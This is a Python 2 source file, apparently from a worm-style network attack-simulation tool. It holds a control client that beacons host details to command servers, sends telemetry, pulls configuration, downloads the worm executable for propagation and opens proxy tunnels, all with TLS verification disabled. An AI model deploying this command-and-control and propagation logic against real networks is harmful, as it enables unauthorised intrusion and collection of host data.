import json import logging import requests import platform import monkeyfs from network.info import local_ips from socket import gethostname from config import WormConfiguration, GUID from transport.tcp import TcpProxy from transport.http import HTTPConnectProxy import tunnel __author__ = 'hoffer' requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 class ControlClient(object): proxies = {} @staticmethod def wakeup(parent=None, default_tunnel=None): for server in WormConfiguration.command_servers: try: hostname = gethostname() if None == parent: parent = GUID WormConfiguration.current_server = server monkey = {'guid': GUID, 'hostname': hostname, 'ip_addresses': local_ips(), 'description': " ".join(platform.uname()), 'config': WormConfiguration.as_dict(), 'parent': parent} if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.post("https://%s/api/monkey" % (server,), data=json.dumps(monkey), headers={'content-type' : 'application/json'}, verify=False, proxies=ControlClient.proxies) break except Exception, exc: WormConfiguration.current_server = '' LOG.warn("Error connecting to control server %s: %s", server, exc) if not WormConfiguration.current_server: if not ControlClient.proxies: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: LOG.info("Found tunnel at %s:%s" % proxy_find) ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find ControlClient.wakeup(parent) else: LOG.info("No tunnel found") @staticmethod def keepalive(): if not WormConfiguration.current_server: return try: monkey = {} if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), data=json.dumps(monkey), headers={'content-type' : 'application/json'}, verify=False, proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @staticmethod def send_telemetry(tele_type='general',data=''): if not WormConfiguration.current_server: return try: telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={'content-type' : 'application/json'}, verify=False, proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @staticmethod def load_control_config(): if not WormConfiguration.current_server: return try: reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False, proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return try: WormConfiguration.from_dict(reply.json().get('config')) except Exception, exc: LOG.warn("Error parsing JSON reply from control server %s (%s): %s", WormConfiguration.current_server, reply._content, exc) @staticmethod def download_monkey_exe(host): if not WormConfiguration.current_server: return None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), data=json.dumps(host.as_dict()), headers={'content-type' : 'application/json'}, verify=False, proxies=ControlClient.proxies) if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') if not filename: return None size = result_json.get('size') dest_file = monkeyfs.virtual_path(filename) if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): return dest_file else: download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) with monkeyfs.open(dest_file, 'wb') as file_obj: for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): if chunk: file_obj.write(chunk) file_obj.flush() if size == monkeyfs.getsize(dest_file): return dest_file except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return None @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: return None my_proxy = ControlClient.proxies.get('https', '').replace('https://', '') if my_proxy: proxy_class = TcpProxy try: target_addr, target_port = my_proxy.split(':', 1) target_port = int(target_port) except: return None else: proxy_class = HTTPConnectProxy target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)